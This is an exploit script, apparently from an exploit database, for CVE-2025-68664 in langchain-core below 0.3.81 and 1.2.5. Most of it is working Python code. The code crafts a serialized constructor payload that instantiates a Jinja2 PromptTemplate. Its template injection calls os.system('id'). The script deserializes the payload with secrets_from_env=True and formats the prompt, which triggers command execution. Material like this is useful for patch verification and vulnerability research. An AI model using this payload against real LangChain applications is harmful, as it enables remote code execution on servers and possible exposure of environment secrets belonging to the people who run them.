LangChain Core - Serialization Injection to Jinja2 SSTI/RCE

# Exploit Title: LangChain Core - Serialization Injection to Jinja2 SSTI/RCE # Date: 2025-12-29 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Contact: @banyamer_security (Instagram) # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.langchain.com/ # Software Link: https://pypi.org/project/langchain-core/ # Version: < 0.3.81 and < 1.2.5 # Tested on: Python 3.10 - 3.12 # CVE : CVE-2025-68664 # Description: Exploits unsafe deserialization in langchain_core.load to instantiate a malicious PromptTemplate # with Jinja2 format, leading to Server-Side Template Injection and arbitrary command execution. import os from langchain_core.load import dumps, load from langchain_core.prompts import PromptTemplate # Set a dummy env var (demonstrates potential secret access if needed) os.environ["TEST_SECRET"] = "secret_value_123" # Malicious constructor payload targeting PromptTemplate with SSTI payload = { "exploit": { "lc": 1, "type": "constructor", "id": ["langchain_core", "prompts", "prompt", "PromptTemplate"], "kwargs": { "input_variables": [], "template": "{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('id') }}", "template_format": "jinja2" } } } # Serialize (dumps does not escape 'lc' key) serialized = dumps(payload) # Deserialize - instantiates the malicious PromptTemplate deserialized = load(serialized, secrets_from_env=True) # Extract and invoke the malicious prompt → triggers SSTI → RCE malicious = deserialized["exploit"] output = malicious.format() print("[*] Command execution output:") print(output)